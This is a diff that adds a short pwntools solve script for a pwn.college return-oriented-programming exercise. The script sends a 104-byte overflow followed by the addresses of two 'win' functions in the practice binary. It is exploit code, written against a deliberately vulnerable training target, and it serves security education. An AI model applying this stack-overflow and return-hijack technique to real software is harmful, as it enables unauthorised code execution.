solve script

pwn_college/babyrop_level_2.0/a.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_2_0
+"""
+
+context.binary = target = ELF("./babyrop_level_2_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*104
+buf += p64(target.sym.win_stage_1)
+buf += p64(target.sym.win_stage_2)
+s(buf)
+
+r.interactive()